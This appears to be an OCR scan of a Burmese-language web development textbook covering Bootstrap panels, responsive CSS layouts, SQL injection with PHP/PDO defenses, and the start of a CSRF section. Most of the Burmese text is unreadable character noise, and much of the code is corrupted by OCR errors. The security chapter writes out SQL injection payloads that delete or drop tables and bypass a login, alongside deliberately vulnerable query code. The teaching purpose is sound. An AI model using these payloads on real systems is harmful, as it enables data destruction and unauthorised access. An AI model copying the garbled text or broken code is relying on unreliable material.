o c o o ° oc € x` Ç ° c C x 
839600083900: 09:3299:[9|$6 olo» 3i Component 6020099 G4/20289:900002:02CO2 Component 
0260»? Panel (sdolo05u 329 096q:200: olor 


<div class="panel panel-primary"> 
<div class="panel-header">Panel Title</div> 


<div class="panel-body">Panel Content</div> 
</div> 


Panel title 





Panel content 





&Q40Q9o .panel $3902 .panel-primary o? c50033e95:(9o00:0lo» o5 00:632096: .panel- 

primary 3000: .panel-success, .panel-info, .panel-warning, .panel-danger o2 

c? Zoa: fo golos Panel 32096:90 .panel-header, .panel-body à .panel-footer 
ç e M ° e e ç e ° oc | ç 

9909902009: 02 Element GOR? 3908:08:0093036:3905;(0,860 ¡ONO! 


Responsive Layout ¿3202 32909 390520603 Style cog Component coo vloéo3sa0205 GAJA: 
Ç x e e e | e oc O e e oc 1 ç 
loĝo) §29:09900269[G60 om 32620:90909 getbootstrap.com some mscoloV 
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14.2 - A Responsive Layout from Scratch 


Twitter Bootstrap co Framework eog 390530660009 9908 5 


30:07:69 deolo: II sde 


qos: 
03096 6€1:220:0205680203002 coo 


O C oc Cc @ OC ° . c ° ° 
MDN 6405:&CcoQ Responsive Layout O09 3003090: O? 
co:ago:oleVón 


Screen Size seq: qi: səsocc[ocoooo Design cog orpdesnonsoseg Ny qe: bóg eg]: olor 
co < ç ° ç @ (° < ` < 
ddeon Desktop Screen 3202093286 89:0509:(8:! egomeone Mobile Screen co9320905 
səsoé ejes soošcooo[oCsocooo:[e G: [eëoloooSi 3505:0? Graceful Degradation (asof Seh 
Le o Tol € : ^ < xO ° 
qiogos(s6:) o3es!o'oooói Mobile Screen 6090»5625:02390905 Desktop Screen 900293! qe 
c < < ° ° cmo < < c o Q x c p IN o e 
Q906s00€q|02320: a): o?eo9(pGeo»Golop: v slefox¢ e[sóecs 032007 co96s006q[036020220co9[o 
(8: Sagi. cpdes0d6qj05 cooo cao egea loos Screen 8$99:909:600:q6 8$99:899:6030909 
° iN ç < o e O Ç S o < < ç 8 ç 
(6: QER qp:qp:oo may: səsoçcoooccoroa|[eC:co eslos: [esolo Sg: qo 
Desktop User qp:oo 3288:02: co: [eo e: Mobile User qp: 20205 Desktop Design o? (oifoéeo: 
805[8:(GScloouSn 


685002009$03:026002 elgoc:[ogoln Mobile First coes[oloooŠ!I 32G00:80: Screen (S905 Smart Phone 
Screen 390305 32€689:6$05:(8:1 Screen Size [3:cor0r§ 309) asese (Gabgasess{o gG 

CMS AS. S.S | e : ç Q c e e a S. [e] Tol c 9 
eaoo66$ o9: (86:(s90 ooo Progressive Enhancement (325060905 [gSorE0g0:[86: ) coesloloooš!I 3 
§ 20290602) Mobile User qp:oo 328008:90:co:(89(8: Desktop User qp:320909 Mobile Design eo 
RES co coó[ee5eo:cooso 996090[860los051 


joo 94990 3230390 Google CEO (S993 Eric Schmidt o» Google s»esà Mobile First 
Approach o? 990:6009605 09 e(c» [£58 qpo»es Mobile First Progressive Enhancement oo O(8:cp 
(o9109qp:coo8olo»oàs 329$6009 oa paq os: oo»([o$(sjo$«ec3»p3:0o:(86:0005!. 9&6 
DEN 39026 :90 3260006:89: (edesar orp5es0005(8:9 200008 [ga5qecdo5:00: [96:00 86: 

IN C x ç Ce c Oo : : o oro o < IN IN c ç e ç o 
60006:9403qJo9: oO [59 c9 Mobile First o» 9(8:cp(03o$qp:coo (msc: o: fso 09$ 60220? 


$9$000996s0009609 Responsive Style ARCO: Mobile First 96 SNA mesma oleo 


0c0689:326$à HTML Document 029900996s0009(9: 63200501 Structure o? 092020099026:60:0l 
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«!doctype html» 

«html» 

«head» 
«meta charset="UTF-8"> 
«title»Responsive Design</title> 





«meta name="viewport" content="width=device-width, initial-scale-1"» 
«/head» 
«body» 
«header» 
<a href="#" class="des">Learn more about responsive design?</a> 
<span class="logo"></span> 
<hgroup> 
<h1>A Responsive Design</h1> 
<h2>Inspired by the Goldilocks Approach</h2> 
</hgroup> 
</header> 
<nav> 
<ul> 
<li><a href="*">Home</a></11> 
<li><a href="#">About</a></1li> 
<li><a href="#">Contact</a></ii> 
<li><a href="#">Services</a></li> 
<li><a href="#">Products</a></li> 
<li><a href="#">FAQs</a></1li> 
</ul> 
</nav> 
<section class="content"> 
<article></article> 
<arcucle></artucle> 
<article></articile> 
<article></article> 
</section> 
<footer> 
<p>&copy; Copyright 2011. All right reserved.</p> 
</footer> 
</body> 
</html> 





3 Structure go Section cco:əoloColoooi Header, Nav, Content Section š Footer o? [sšoloooŠi 
Header cooo Logo, Name š Description cogoloColoooŠ!I Nav c590c0»o Navigation List 009 oloé 
oloooów Content Section cóeocooo Article cco:ə cloévlooSu Footer «geo Copyright 
Statement o»99olo&olo»oóu 


ooo9(ojoo$00o00 viewport apo) «meta» Element [8éoloooŠi 3 Element o» Mobile Browser eog 
e ` " . S iN Ç ° ` ° OC N "OQ Q ç e ç 
gevo] "Screen size šsošesəocaj,e[oolši s9§)32036:d(Ge0:01" c9 səo3co:coo: eS: [sëéoloooši 
ç ç O ° ° e ç (o e e e o ç ec Os 
ag|$eox50300 Layout o? aeq eooc:(8: sasas esai ce:o5o:coo:@o9 acom, 
Website o9 qj(o2p99«ec99 səsocc[oapë8o [eëoloooši 
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$ Structure o? Mobile Screen 602425660030) Style q$8320205 CSS o? aae Êe: vlos 


2:2: External Style šo[eë[sëcoo5@9 Document o5go <style> Element ¿0[90[98 so:000:03 CSS 
° 


0? OR? OP 0099996:60:0li 


hemi { 
background: #ECF0F1; 
Jes eJ sm i; en 
padding: O; 

) 

body { 
font-family: Arial, Helvetica, sans-serif; 
line-height: 1.5em; 
padding: 0.8em; 
max-width: 30em; 
margin: lem auto; 
background: #fff; 
border: 4px solid #BDC3C7; 
box-shadow: 0 0 10px #ddd; 





c 
color: 42980B9; 
text-decoration: none; 
border-bottom: 1px dotted #2980B9; 


a:hover, a:active { 

color: #3498DB; 

border-bottom: 1px solid #2980B9; 
} 


header { 
text-align: center; 
margin-bottom: lem; 


} 


.des { 
display: block; 
font-size: 0.8em; 

} 

Logo { 
font-size: 5em; 
color: #E74C3G; 
display: Block; 
margin: 0. Sem 0; 





bl tl 
margins 10% 
color: d 5555 
font-family: Georgia; 
font-weight: normal; 
font-size: 1.2em; 
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h2 { 
font-size: 0.8em; 
color: #aaa; 
font-weight: normal; 
margin: 0 


) 


Nav ul Y 
list-style: none; 
mar mi: eus 
padding: 07 
overflow: hidden; 


} 


nav li { 
margin: 0 lpx ps 0; 
float: left; 
width: 49.6%; 

} 

nav lia { 
font-size: 0.9em; 
display: illo els 
Solos be 
background: #E74C3C; 
text-align: center; 
border: 0 none; 
padding: 0.5em 0; 

} 





nav li a:hover, nav li a:active { 
border: 0 none; 
background: #C0392B; 
color: PERE, 

} 


„content { 
margin: lem 0; 


} 


article { 
margin: 0.5em; 
height: 80px; 
background: #34495E; 
} 





footer { 
text-align: center; 
color: #34495E; 
font-size: 0.8em; 





> > coc c ç c o o OC 
eq:000:03 CSS ceo! so:ecopó&óosp 3205930s0$:e0leoo:0lop:! onagra eggin 
026022 body 390205 Max Width o2 30em cQ 2209903ooo:(s6:2»o(5$0looo5i 
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co0$602 90 Screen Size 39(03:32620:09 Pixel ¿00030696 oš:so@əo5oloooŠ!I 0004], Mobile 
Device eogoo Screen Size 600:60009 Resolution oo Desktop odaje Qeoooc:esooo5ol 
e : o : e e Oo çO Ç IN IN e : 
@oo:0205!1 Pixel qp:co Screen Size (B:000508 03038 96 gaa: gudon slefax2¢ Screen Size 
o? Pixel à 020960090 0209:6980209c909(86: [sëoloooSi Device o» Smart Phone d{go{go Tablet 
o(e9 (s Orientation ANA: Portrait o[es[eë Landscape o(e9 (58i eoc:es (20) ea20090eo9[0 860? 
Screen c? 32600:90: Screen Annan last coms} Style oo 398. s9600:00: Screen qo 
zas eog qp9g096q:220:000:02 Style [ešoloooŠi 


CO Ge 


qio? Browser [Resa © (oç-e) ooceo[ocoo:ooco gqqeseo[eëcloooSi 


Learn more about responsive design? 
A Responsive Design 


Home About 


Contact Services 


Products 





© Copyright 2013. All right reserved. 


© (oç-q|) Example Responsive Design - Smallest Screen 


Header coo Element 60303 Center Align osf: səoScooocoeo[Ocoo:olooo Navigation cooo 
Menu 602036029 Width 390209 49.6% 003403000: 09320305 ARE: (J) TE (J) 90 
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967 





ceo[ocsoloooŠi 8 Design ooo Mobile Website 60292602 es[o3 


Design (83(8: Screen səcos:cooš 


20607539506 elosogooÍn so03c003(8: Screen 39(09:609320205 CSS Style coo (sp9ga3co:olecón 


e ` ` ` e e ç Oo 
GAANO Style 0092060:002:02 (S09903805096q:220: 60:0] 


@media (min-width: 33em) { 
body { 
padding: 1.6em; 
max-width: 60em; 


} 


header { 
overflow: hidden; 
text-align: left; 
} 


dodge 
tloats cedi. 
} 


hgroup { 
float: left; 
margin: 1.6em 0 0 lem; 


} 


.des { 
float: ight, 
margin-top: 3em; 


} 


hl 1 
font-size: 1.6em; 


} 


nav { 
background: #E74C3C; 





} 


nav ul li { 
width: duto, 
border-right: lpx solid #C0392B; 

} 

nav ul lia { 
font-size: lem; 
padding: 0.5em 3em; 

} 

-content { 
overflow: hidden; 

} 

article { 
height: 120px; 
width: 23.2%; 
float: left; 


Professional Web Developer - 3258: (oç) Mobile Web ço 





footer { 
border-top: Rex solid #BDC3CTI; 
padding-top: 0.5em; 
} 
} 


@media (min-width: 33em) aego: ee Gs: o> Media Query 32096: :9o Style 60303 
2905903000: co 8 Style qp: o? 9209: sa S9: (22) ap: 2603(08E03 Screen 9200 3209: 21 ded 


qo quoc r pusi slefoxg oÇ es ¿000309 CSS qp:o2o Screen 32690: ics cop? 
e iN 


996:32090090906050501 9209: (22) 0): 9390005 eoS(p&6o? Screen qp*9»o»» 3209009060:290:90 


c IN 
(95 01009 Il 


a 


IN e > c ç o e ç O È 

(S03903000:02 CSS Rule qp:9o co: (s: jo9qo5c9e(006co009 63206 eQ0lop: v Header 32096€:00 
o ere IN c o em C. * : : ` IN IN 

Element qp:o» Float 08: Dm /p0 oxÓcocooo[e C: š! Navigation ò% Menu qp:g9 2505905000: 
o? Width o? Auto c9 eforé:cda005905c803[96:03000 [sëoloooŠi Article Element 6020305 Width 

e ç o co c o € 1 IN S ° C GC e 
2003903 0909(8: Float c96000:09050!oooài! 32968€0030? Browser maes 9 (99-95) 92 coo 
000:000$ qSese»(sà olooo5u 


ey A Responsive Design Learn more about responsive design? 


Home About Contact Services Products FAQs 
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© (95-20) Example Responsive Design - Biggest Screen 


098 Desktop Website co2eo eoo [86 es[o3 Qooqpo$00090? ages (Sé:(s$0lo»o5u Responsive 
órdago Browser Window e) Size o? iae: Áe i:s: ffo: 088E 
oloooS Window 326055 620:990:02328] 9 (oç-q|) ajena Mobile Website 00690308 elgoc:(8: 
695(Ge02030290[66(8: Window (o3: azo:03328l à (0g-90) eocog2esqosco Desktop Website 2268 


L$ cooSeeo[oco:ooo:eo[eóoloooSi sleoeoó səcooSsəocoo Screen Size 02300303 Ssv 
i ie = ue dd : 033203 
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eoo:olop:u slefoxg Tablet Screen (9360905) Phone Screen o? Landscape Mode qo C00:023268 30 
000:02439:3206 celosos 0068(895Q05e0:0le051 


@media (min-width: 30em) and (max-width: 60em) { 
body { 
width: 36em; 
} 
.des { 
display: Dlock; 
float: none; 
text-align: center; 
margin-top: 0; 


} 


nav { 
background: transparent; 


} 


nav ul li { 
width: 33%; 
border: 0 none; 


} 


article { 
width: 46%; 
} 
} 


@media (min-width: 30em) and (max-width: 60em) co Media Query o? 0003903000:02 

ceo ° ° ` C("^OocC x ` e e c e 
32030 3 Style Rule cogo? ooo»: (20) & (Go) (029:e03(08 602 Screen 602906 cop9996:3209009060: 

e | ç š e ` ç o e e x 0 ` e e 
eo[ešo on 0006 (media Query səogo (29) 4320005099505902000:809 0006 Query 4250590? 

M e e e e e e ° ç e e 
coo:oo Style eopoocopó: Screen 38000500:60990 $0090002250066$02689:90 [ešoloooŠii slefox¢ 
s9gp:(08:(925g058echcor20lo: Navigation Menu š Article 034 Width o? 4j§08(eé:ec0005 ajo 
[BicoOcoo:oloooŠi 

Ç Ce 


32909 Browser Window à, Size o? 22co0332coo96cooo300o:9: od:a0d{aga3qé ó (oç-g) eo colo 


000:2209 qc0S03q§e992[80los05i 
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Learn more about responsive design? 


ey A Responsive Design 
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9 (oç-g) Example Responsive Design - Medium Sized Screen 
eooo 3SəGo5:s0: Screen ooceo[oošasocoloooŠI slsoeoŠ eppi: gos: Sos Menu o? 99:902 
e ° : ° ç e ` e e e e e C s : ç oc 
efo: Article 092co93:49903e69(900o:[S&:(8$0lo»o5v Sepo:$& Screen Size e(0o6:290:096: 
Q < Ç @ x ` Ç `` ° OC x : : ° ooc IN 
ameno Style š e(9»6:c5ec3(060:8 60) Responsive Design 6020) af$ccoclon 


09|$600309$ 94092 Screen (2) q 2203050 9?00:000:0109051 o: Qo) 6320035605(G8E03 Screen 
60202609) Smart Phone Screen 603(86¢90[8d0]0051 9209: Qo) š (Go) (020:e03(0$ 602 Screen coo 
meo? Tablet Screen à Smart Phone c? Landscape Mode Q90000:023264 32000109 [ešəooli 9209: 
(Go) 32000989290: qé cooo Table o? Landscape Mode 92000:02306432000:& Desktop Screen o2 (95 
` e e O x e e e ° ° e OC x e e e e 
goó(só oloocóu (Q) q|[1095099025000: 60609 Screen 320:09:0? Cover (5960860) $99:0490099(59 ol 
ç 
OD05II 
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Conclusion 

Mobile Web à00$2205€6 (62$9050003(G}0¢20269 fol o»$q].22099059090609:02 App 6029» 

Mobile 32000329: so: Website 029932688 0299680003000:8 0960096: iman 11 poen- Gmail, 

Facebook, Twitter oo) Website co203 Mobile Device š occ o3(o3 Sqeóc [es o Website o 
> ° 3 š sp 299<e03.1809% 

22990 $eomorc [ojos Responsive Style &oop$eso00$00o:(86:e05050 AS: (ao: Website 0299326$ 

à oopŠesooocoo:o> Design o? eoo [ec a[ec:[eecloooSi 


32956002 33309 Desktop 390205 Website ooëə/ Mobile səogo5 Website 0009 š[go:coəSesooo5e) 
e SE € < C Q Ç oy ° ` ° < c < 

ooo secg$o604:0loooà! peso ofog: Maintenance ar§oleoo:02051 coóəs[oé 
iN ç ç Q c - c ° o “r° < < < < IN < 
sosog ai Website &$9c9:90c909(8:[06 06 q6029»0li sleorée Table 350905 6800500909 


IN IN 


o3:[8o:3[8: ma esooo3«6 (2) e [(gd030:8E0le00:00051 

Responsive Design meow Website 02990099:090 Screen Size eol eoop3(8: Design səcosəccopoo 

e(926:60:990:c9 32qp:(p3:09050522052»20lo»o5u slefax¢g Mobile Web 390305 09:02:96 

Responsive Design 02020 0000$:00:60:39694 09?09:006010905 App oo Responsive (8963226 
co Oo oc e e ;| C e e e e e ‘| Co 0 : e 

690: SNC EOMMERNCO CON ean a Neog: eA eon 0098 odds: so: Website so (so 


w§ 8: 8c88Ee{oIE: cospogosaslor 


Professional Web Developer Course 
gjo] səc[o2oC:sospap:o0 veo 
DPen 080803E wipeo 
soadogadag - (og) Jay GJE 200 
www.fairway.com.mm 
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3298: (09) Web App Security 


GBq REp Bengoa: 


JCO eq2003906«:22:302494060990 lea: c9:00099296:99:00:3(86: ooog: Web 
App Security 0B g0:009509006600003090 $003960960569e05s9q6 Ofega: 05:03 Code eo 
es:[pes c9s9(8: e0226:60006:606$ esecoooSo(8 i 3295602 2209896 qps09:0p»oqp:$, 3909605090? 
q$:co6:[g6220608 494060509 3502058659:0:q6:63206 6q:200:3$02300209 c)[S|es:s96«p 099602 


0? copsagé:0603(08E3or00lt 


có[Šles:ooososoloooSi ¿ropa aone ol: 0200§(08:(8: eons estos: oqo} 
390305 əli 900802 09896000! BEA: NINA]: escocesa əo5osc9ol 
Ou odal: coəsəcossəapooói 62226026223p903! [pj[o»6:eolo$eogc)(5|eso»6 có! [Sop5:G:602 Fdo 
esarEorp5es0009 owes esorEgaS8cScloruSi adese oyf eql: 8336029:060925009 
6020033202096009 aeg: algemo o509g6:02c005Q$05à (06056:e0lo$9$093(8: o Roy: 
¿colon oooogoSeso5ooecooo5 320:9:3Me0:600:60: nadge $:068290c905990:02090] 
0051 Soyo:05 3389069022900 62099058 |gago:qEcopS: mosk olen: e009505869251| 
ga[QdaBe0005 3366000560:2560290 0220§ 0026: [OSoloq: v 


[8:00 spip Aegon 259:0694:05c9e395c909q6 «009090» 2209329960:&60lo»oóu 
ONANAN: oN F ociq nps: Besposesarésaeq:0289050los05 3205320960006: 
Ras: man. condso8coaseqood raro: saeva eo: gigol sle[(o226 
339098 390203 SCRE 3369069022500] 3209:[02060$2509$8c9300lo»o9i ongs: 
se5:coƏ: 0009098: 8:10688 «6 202099 sooo: ffau mos (arca 

Sc9soe(83»esd|:ecge[o2»6 co[šleq: ooososšoooScoc[ooooooli 9:ocoscoo 25:ec9$]o) so5:osóco2oš 


ojeg: 03/8:03/69260260:0? afose go:cop3eaoo6 eco oo8: có|[Šlesq:32Šsoócoo e006 
gso: qeooli 
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Web App eo NACI 39[80009296:99:00:2560) (8ea:(damgoqp: co3[960:030:01 


IN 
G0OOII 


15.1 - SQL Injection 
Web App Security oo sep: c8909c903002026002 SQL Injection (gdolos05 das: 006002 
User Input 6090990 SQL Query cozsepoopóco: (8: 08$05e003 Attack 0264}):(d0loo05u 3994: (q) 


Y oq|$cooSo2oooS 630005303 Online Book Store ¿909 [Rolos Online Book Store 4, 
OC x e 


Home Page go 0239560208 Category səcoo cg:ajoS[o2oqaco asean 91030269 olo&olo»oSu 
22982: [qe o? URL o» s»ectoé[5S9ooli 
http://localhost/store/index.php?cat=1 

ce Oo 


URL gocloco> cat 02$8:09320):(0/(8: 90390qp:02 wosp Category 2900905 02[86:s009608 


. ` ° IN 
Script cógo 329 096q:220:000:0lo205 - 





posted GE eSI 
$sql = "SELECT * FROM books WHERE category id = $cat id"; 
$books = mysqli query ($conn, $sql); 























` e ` co Q ` e e (a e e o Ç e e ç . 0 
URL à3eo50loócooo?00$8:0? SQL Query c5eocop?opé:(8: səcoócoóeoc9os[e c: [sëoloooSi 094 
° IN e > ° ° gy e e e o ` 
200) :(0| op 0296000023968$ 3 URL o 00038(995026:0qpcorEec8olop: 60:000:0) Category 
e e ° oc ç ° o oo c o e C x co o 
Menu meş ooósoç aeos: (o|$6olooo5u Sleoeoó App N 0090260092900 3 URL gooloco? NIP: 
32909 (oéa0é8: goge0:86olos0511 


http://localhost/store/index.php?cat=1;DELETE FROM books; 


cat 39030300§8:00 §:§200§$:09090070560270 SQL Command coo vloéoos{9é:[gdcloo05u 3 
> IN 2,9 


08:09 Script o500 SQL q900093256:c90902326l 029020332096090290:6 020600 329 c90] š 




















SELECT * FROM books WHERE category id = 1;DELETE FROM books; 
































SELECT Query à DELETE Query g9[gda90:(8:1 ¿090):2909009099: 90900 books Table ò% 
Record Gogosoo:cà:q|o5o2o:eo[eóoloooŠši 8 cQ Attack ALR SQL Injection Attack esT onol Input 
o co Ç 


0m$8:090 SQL Query coo oop?o96:(8: 020590302 993:coé: gov Q (09-0) gocogs: 800609 


° o € 
op Gcocooác olor 
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The Plan 


http ://example.com/view.php ?cat=123 m 
L 


SELECT * FROM books WHERE cat_id=123 


The What-Happens 


http://example.com/view.php ?cat=1;DROP TABLE books; 


E 


SELECT * FROM books WHERE cat id-1;DROP TABLE books; 





$ (09-02) SQL Injection 


alu Web App 60303 39[08:39071053.0260:65 0) 0205803809:00990li 20600969600005 eoo: 
s o) 


ç ç ç O ` c oe € o <ç ` ° 
eN og$coo2099o Login Form 006998: 000299€:60:090202 User Name š Password op Database 
Table meg q0509680:0232090320209 39909639993 000: 0009 so [o2olë - 


Sname = $ POST['name']; 
Spass = $ POST['pass']; 























$sql = "SELECT * FROM users WHERE name='Sname' AND password-'$pass'" 
$result = mysqli query ($conn, $sql); 


if( mysqli nums row($result) ) Í 
$ SESSION['auth'] - true; 
} 





. IN IN ` ` ° ` O O C ° Q IN 
Login Form 0268 (593256:c000? User Name š Password o9 users Table c5eoQge$996so:(8: 90205 
soq Login ac(9/ $058 69000: 009: 090011 slo? User Account səəšooóooo5 ego Attacker oo User 

ç IN SS e o IN e IN e : ens 
Name 3205003260500098 Password 3290900 ' OR ''-' a oop?og6: (86:32:66 Login eaaa [ec 


o30:60860]0005 səcoOcoOopo:eoo SQL o» 3990006 ($6030:033002050] - 





SELECT * FROM users WHERE name='fake' AND password-'' OR ''z'' 




















User Name à Password eəšeoeo2 ešoo5oosoo5cooocoo:o OR ''-'' ep users Table odo 

o e oc e . <ç c oc QC e 
Record 6020909050960: 292:$6900]i Seo% Script map: Record aposupacqc User Account 94 
0203 s9020262008 69:000:808 Login o? gç[oIco9o5eo[eóoloooŠi 
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Preventing SQL Injection in PHP 
x ` ° coc ç ç iN c < ° ç ert S. os ° Q 
SQL Injection 0?0»»0209&C60602 se5:coƏ:aóəceo[ocOoloooŠi epoco Code qp:oo2səeco 
< e Q eres < 7 ` ° coc iN 
(Géa06 cooo [ec:səo: [sç SQL Injection Attack o> 0200909&60lo»03i 





[ Example 1 





$cat id - mysqli real escape string( $conn, $ GET['cat'] ); 
$sql = "SELECT * FROM books WHERE category id = $cat id"; 
$books = mysqli query ($conn, $sql); 


























[ Example 2 ] 





$name = mysqli real escape string( $conn, $ POST['name'] ); 
$pass = mysqli real escape string( $conn, $ POST['pass'] ); 
$sql = "SELECT * FROM users WHERE name='Sname' AND password-'$pass'"; 




















$result = mysqli query ($conn, $sql); 


Input 00$0:qp:0? SOL cbəecop2s c mysqli_real_escape_string() Function § Filter as 


co: 0903 [e é: [sëoloooSi Š Function oo Input String cbeooloCcooo> Special Character eo209 Escape 


> S O Ç x 


aseo gl (8:302 sesoeoceo[oào> SQL Inject Attack o9 Š Function à 69c9030232020? 
qasma sag: eool - 











SELECT * FROM users WHERE name='fake' AND password='N' OR N'N'=N'' 














Special Character (S905 Single Quote 60303 Backslash § Escape coÓco:ooo:eo[eóco Query 

Operator 39069 4290900090600 OR|$ 02303 Script ooops: goco: coolo: Input 39:09:09 
° : > oc € oc C Q “< : : O o C O ° 

22 3 Function $ 090»90509co:$Cceo^soec SQL Injection Attack qp:0? $0598ec960090lop:u 


65002009$09:326$& sə[eo: Database yesca oonde PDO o? a»o5:(g| maradéícolo 


PHP Data Objects - PDO 

PDO oo» PHP x 1 8590900060 loéans03 Data Access Layer 0269[8d0los051 co: [so:a|o5ooeooo 
Database seq) degg: 3209609060:$60looo3i slefax2¢ MySQL oo6eooÓ Oracle, 
MSSQL, Sglite, cA die oo) Database Server qp:gcops: 036033209 a Rolos 02/9605 
0200600? PDO o? MySQL Database à 3905:(6}403002609000090:9{860l0051 


MySQL Database 0283209 60906009609s9q6 00008280: as qosqo Database Server o? 
o € eme. 2 ç ° ç < c ç 8 Q A € 
$jo$eoo3(86:à səo5:[o|eo5 Database o? eg:ajo5eo:[ec:[eëcloooSi $c96q:220:3(020lo265 - 
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$conn = mysqli_ connect ("localhost", "root", ""); 
mysqli select db(Sconn, "mydb") ; 


c ç c o ° e (Q o ;| c 
32000109 ÖCE ARa PDO o>: 6: 3990 69:000:60:90 1000 - 
$conn = new PDO('mysql:host-localhost;dbname-mydb', "root", ""); 


new Keyword 0):[8: PDO Instant ooëəc[oo[CoosooSoc5ooloooŠi ¿Hong $9$0906o: 
° : . ° e e e e o e C Q < 
œ: Connection String oo cop2o2C:co:geo[eóoloooŠi mysql: eş qjq} Database 
° ° ç ere e Oo C x : : e 
39Q||:3900:07 eg:qjo9eo: qe»(69(8: REFIN Connection String meo Database coloma 
e oc ç e ` ° x e ç e e 
(8: agoazo: ¿colon MySQL 320905 host $ dbname 09 o360360:qolo»o$u 64002000 Parameter 
qp:32e8460:0? root oo Database User (s9[: Blank "" oo60o9 Password (8$olooo5u osada008 
3902:09:320): [9 £colo 1 


sonas: Database có Query qp:s0:00$ mysqli_query () Function Ra: bsq 


Ssubject = $ POST['subject']; 
$sql = "INSERT INTO tasks (subject, created date) VALUES ('Ssubject', now())"; 
mysqli query ($conn, $sql ); 


PDO à 32000: 0209968006 qi? <q 329 c96q:220:$60loo05 = 


Ssubject = $ POST['subject']; 
$sql = "INSERT INTO tasks (subject, created date) VALUES ('Ssubject', now())"; 
Sconn->query( $sql ); 











ájo59soo5coo:o> PDO Connection Object woods query () Method o 9$:/8¢:(gd0los05u Š se 
go Query ooo SQL Injection Thread $esc9 Prepare Statement 0305:(8: səəc9[oCoeg:aColoooS - 


Ssubject = $ POST['subject']; 

$sql = "INSERT INTO tasks (subject, created date) VALUES (:subject, now())"; 
Spre = $conn->prepare( $sql ); 

Spre->execute( array(':subject' => Ssubject) ) 











32099 09060c902 SQL Query o? prepare() Method à co:Ocooo[ec:[eeoloooSi co:0c90902 


ç 


Query cog :subject 20) Label 00690095:0lo€closa5u MySQL o 8 Query o? [oo [oc soc 


N o 


N 


e IN IN IN c c ^ IN IN o IN ç ç Oo ç 
20G020(GEaos:e0005 C002603,320909Cp0G20:0 $9002C0026G0: QCo2902 024 (022: qjo90? emess 
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jl IN c c c ° e,(9 ° c Q Q CO c IN ç 
olor 680030298060 execute () Method o805:(8: Query o? səcoócoócoos@ ama [o2o: 
coo:o]oooSi Sags: :subject Label sə@o: sgəo5:[o|gqeoo 0049:020lo360360:c9050l 
IN c c c Q xe o o S e ex So 
oI Query oo 2502561 Input Value 02250250 3(6:60:8008 MySQL map: 08: (90:80 uNa 
e 


3209909060:290:900li slef Input eo SQL Command eoz oloó$cooq66ooo69 q«6: Query o? 
aep ope ieo: 











SELECT Query à Record GOR 402032081 (050950000) Record 0205 mysqli fetch assoc() 





à 22909 Fetch coó3qolo»ó5 - 








$result = mysqli query ($conn, "SELECT * FROM tasks" ); 
while( $row = mysql fetcch assoc( $result ) ) { 
echo "<li>" { Srowll subject i o ttu 


) 





32000109 09068006 quo9 988 PDO š 329c96s: 220: R olos - 








Srows = $conn->query( "SELECT * FROM tasks" ); 
foreach( $rows as $row ) { 
echon S o na r ages 


) 














SELECT Query meş q0) Record eog Object ooŠəsəesšà [9$60:000:04 $rows den 33 





=v Wo 


Object ges(esolor oŠ: eo: Fetch 090658 ec932060020 $rows Object o? foreach() Loop 
cere c ç ° oc ° c ç 
oloS(9: Record o»99 [86:02 qo»&é(s6:(s$0lo»o5u 


mysqli query() oo Resource ID B002{0§60:03390205 338 Resource ID o05:(8: 6§003006(036 

Fetch (0409690011 PDO query () o»(9$60:02000 Resource ID eopo30log: v agro? Record cop 
c ç ç Cos Cc o iN iN ° ` c ç ° oc 

(96 Joosu slefox2¢ Fetch 002390900 COOAPOSS OPen olor: aeos: fo ¿cool 


mysqli fetch assoc() cedi: oo9e(o226:(86: Fetch agso Method cops:Golosasu 3290968: 
ooo:&éólooo - 




















Sresult = $conn->prepare ('SELECT * FROM books WHERE id = :id'); 
$result-»execute(array( 'id' => Sid )); 


while($row = Sresult->fetch()) { 
echo Valais" 3 S row titlen SALES AE 


) 
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(809903903220:2560) PDO Method 60902600? lastInsertId(), exec() à rowCount () o? 
[8ëoloooSu INSERT Query à co030596c0000p2996:09090? Record à, Auto Increment ID o? 





mysql insert id()à qo»3qolo»o5u PDO qo 39900 0286 clos05 - 
$id = $conn->lastInsertId() ; 


Record fofas quoe) Query qp:o? query 0 Method e25:0 exec () Method ¿00:60:04 
¿colon 


Sconn->exec ("SET NAMES UTF8;"); 











Database à Character Encoding o$e(03{G20005@050300030005(86e8 query () Method 0):063 607 
`x ° o c c c € R cre c c o c ore 
Ò exec() obc9oXsé:(s$o0loooà: query O0 Method oo samsas: qos feo eA: 
exec () 006009 3209009009 22032209 c9660:oo[s$0lo»o5u 














3 








rowCount () Method 026002 UPDATE, DEL 


Record 32632020302 07830: fos osn 


| Query qp:e(o2»6 o209espo$29o:0) 9960l6: 


= 


$result = Sconn->query ("UPDATE categories SET name='Technology' 
WHERE name-'Internet' OR name-'Tech'"); 

















Seffected row = Sresult->rowCount (); 





odg], PDO ooo Database aed|:q]:3 dog: Prepare Statement 02022602 0lo232020$ 9 

all WELES Y ao" ETEp og De Iesse M 

GON: OÀ $20: 02209 [olos O24], 02602) mysqli Function eogoo sg lolo n 

NAO. PHP š MySQL Database 0300332c96090600320205 PDO (9960905) mysqli 88 
c ç e 


FODONIFD: 0220 eg qo 390): gó olo»o5 II 


15.2 - Cross-Site Request Forgery - CSRF 
CSRF ofeg [Dososoooo afeco Web App 03 B§aseo§Ea00$ səo5:[o|ooqp:oocooS: cà 
8605 Attack 00q|:[990lo0n eoeosəcsš 02,$60250200p96s000530? Online Book Store o? 


o 


9 < 
9060 
Olesa 


oc IN 
¿colonos Il 


Online Book Store go 9039060909 3296 Qop9 020 EER oošqjo5[ec:[olcooacoloooSi 293099? 
IN ç O : CN c IN ` e e IN Ç OC 
0502605050? Login Form 00694 o$6s0:coo:0loooói! User Name & Password 9463206 (505256:$6 


IN co c IN CN > : Q ç : c o IN IN Q € 
qc 32964) 9939(96990590303 32695 Cookie 9200709 Session Value 00690) 0003903000: 090390011 
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€ ° ° < < s CR < < ç O cE c < e o 
3200096] 3 Book Store o? 3560208059» Domain Name 02698 coçoocooo:eo5s06]é 003900203900? 


oo5q0$eo0? Script à, URL oo 229 o9(59900] - 
http://example.com/admin/book-del.php?id-1 


Login oCcoo:oaoooso 3 URL 08 zoo): (0/9é ID = 1 (86690200390 qjo$2po:eogo(s$0lo»o$i book- 
del.php Script 632090 Request lignon (310998 6995050560505 0$680:000:9o0li (ojc9986 
eg apa 8 Script o? oéespo3Q[09|:90: 6 Login Form RÒ Redirect 096030263996 $0969:000:000: 
oloooói Hoss: aa ARYA eI 392 6682? qjo9c96q29:902 rro 


3leoeoS CSRF Attack (oyó 92080586 Website 00690§05;(8: book-del.php 02094:000: 
` : c o ` Q ç iN oc iN 
